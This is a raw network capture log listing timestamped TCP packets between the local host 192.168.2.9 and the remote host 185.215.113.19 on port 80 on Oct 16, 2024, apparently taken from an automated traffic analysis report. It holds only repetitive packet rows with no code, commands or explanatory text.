Oct 16, 2024 19:22:39.874912977 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.874912977 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.874970913 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.874972105 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.874972105 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.875015974 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.875015974 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.878653049 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.878653049 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.878827095 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.878827095 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.878827095 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.878827095 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.878863096 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.878863096 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.879035950 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.879035950 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.879035950 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.879035950 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.879035950 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.879035950 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.883018017 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.883018017 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.883261919 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.883261919 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.883261919 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.883261919 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.883261919 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.883322001 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.883322001 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.887228012 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.887228012 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.887269974 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.887269974 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.887307882 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.887307882 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.887327909 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.887327909 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.887388945 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.887388945 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.887413979 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.887413979 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.891406059 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.891406059 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.891406059 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.891406059 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.891406059 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.891406059 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.891453028 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.891453028 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.891479015 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.891479015 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.891613960 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.891613960 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.891640902 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.891640902 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.892174959 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.895576000 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.895576000 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.895576000 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.895576000 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.895642996 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.895642996 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.895670891 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.895670891 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.895699978 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.895699978 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.895785093 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.895786047 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.899580956 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.899580956 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.899605989 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.899605989 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.899725914 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.899725914 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.899725914 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.899725914 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.899725914 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.899725914 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.903137922 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.903568029 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.903568029 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.903984070 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.903984070 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.903985023 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.903985023 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.920077085 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.920077085 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.920077085 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.920077085 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.920125008 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.920125008 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.920217037 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.920217037 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.920232058 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.920232058 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.920281887 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.920281887 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.920366049 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.920366049 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.920391083 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.920391083 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.920401096 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.920401096 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.920452118 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.920452118 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.920488119 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.920488119 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.920595884 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.920595884 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.920743942 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.920743942 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.920743942 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.920743942 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.920743942 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.920743942 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.920780897 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.920780897 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.920887947 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.920887947 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.920887947 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.920887947 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.920887947 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.920887947 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.924990892 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.940491915 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.940491915 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.940525055 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.940525055 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.942747116 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.942912102 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.942984104 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.942984104 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.943017006 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.943110943 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.943110943 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.943126917 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.943126917 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.943181038 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.943181038 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.943541050 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.943541050 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.943541050 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.943541050 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.943659067 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.943659067 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.943659067 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.943659067 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.943659067 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.943659067 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.943743944 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.943743944 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.943743944 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.943743944 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.943933964 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.943933964 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.943933964 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.943984032 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.943984032 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.943984032 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.944103003 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.944103003 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.944103003 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.944274902 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.944274902 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.944274902 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.944274902 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.944344044 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.944344044 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.944344044 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.944344044 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.944386005 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.944495916 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.944600105 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.944600105 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.944600105 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.944600105 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.944600105 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.944600105 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.944705009 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.944705009 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.944705009 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.945586920 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.945616961 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.945672035 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.945672035 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.945760012 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.945760012 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.945760012 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.945760965 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.945813894 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.945813894 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.945902109 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.945902109 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.945902109 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.945902109 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.946089029 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.946089029 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.946089029 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.946146011 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.946146011 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.946146011 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.946258068 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.946300030 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.946300030 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.946367979 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.946367979 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.946429968 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.946469069 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.946469069 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.946660042 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.946660042 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.946660042 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.946660042 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.946660042 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.946660042 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.946660042 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.946742058 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.946742058 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.946742058 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.946742058 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.946808100 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.946808100 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.946808100 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.946808100 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.947031975 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.947073936 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.947073936 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.947124958 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.947124958 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.947171926 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.947171926 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.947304010 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.947304010 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.947304010 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.947304010 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.947329998 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.947329998 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.947329998 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.947329998 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.947592974 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.947592974 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.947592974 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.947592974 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.947592974 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.947774887 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.947774887 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.947774887 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.947774887 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.947774887 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.947774887 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.947774887 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.947884083 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.947884083 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.947884083 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.947884083 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.948002100 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.948002100 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.948002100 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.948049068 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.948049068 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.948110104 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.948165894 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.948199034 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.948199034 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.948249102 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.948249102 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.948271990 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.948271990 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.948306084 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.948375940 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.948375940 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.948656082 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.948710918 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.948710918 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.948741913 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.948741913 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.948775053 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.948775053 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.948821068 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.948821068 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.948920965 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.948920965 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.948920965 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.948920965 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.948987961 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.948987961 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.948987961 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.948987961 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.949098110 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.949171066 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.949171066 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.949172020 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.949206114 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.949206114 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.949302912 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.949302912 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.949302912 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.949361086 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.949361086 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.949451923 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.949451923 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.949451923 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.949521065 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.949521065 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.949532032 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.949532032 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.949665070 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.949754000 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.949754000 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.949754000 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.949754000 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.949795961 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.949795961 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.949853897 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.950050116 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.950050116 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.950050116 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.950138092 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.950138092 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.950138092 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.950138092 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.950273991 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.950273991 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.950273991 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.950273991 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.950273991 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.950273991 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.950320005 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.950320005 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.950361967 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.950361967 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.950506926 CEST	49716	80	192.168.2.9	185.215.113.19
